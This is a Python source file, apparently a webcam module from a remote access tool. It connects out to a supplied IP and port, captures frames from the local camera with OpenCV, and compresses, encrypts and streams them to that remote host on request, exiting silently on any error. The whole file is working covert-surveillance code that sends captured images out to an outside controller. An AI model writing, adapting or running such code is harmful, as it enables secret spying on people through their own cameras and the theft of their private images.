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import socket
import pickle
import zlib
import cv2
from Specific.encrypt import Encryption
from sys import exit
def Cam(ip, port, encoding, position):
try:
headersize = 10
new_msg = True
msg_len = 0
full_msg = b''
e = Encryption()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
cam = cv2.VideoCapture(position)
while True:
try:
Cam_msg = s.recv(1024)
if new_msg:
msg_len = int(Cam_msg[:headersize])
new_msg = False
full_msg += Cam_msg
if len(full_msg)-headersize == msg_len:
check, frame = cam.read()
frame = pickle.dumps(frame)
frame = zlib.compress(frame, 1)
frame = e.do_encrypt(frame)
final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
s.send(final_msg)
new_msg = True
msg_len = 0
full_msg = b''
except:
cam.release()
cv2.destroyAllWindows()
exit(0)
except:
exit(0)
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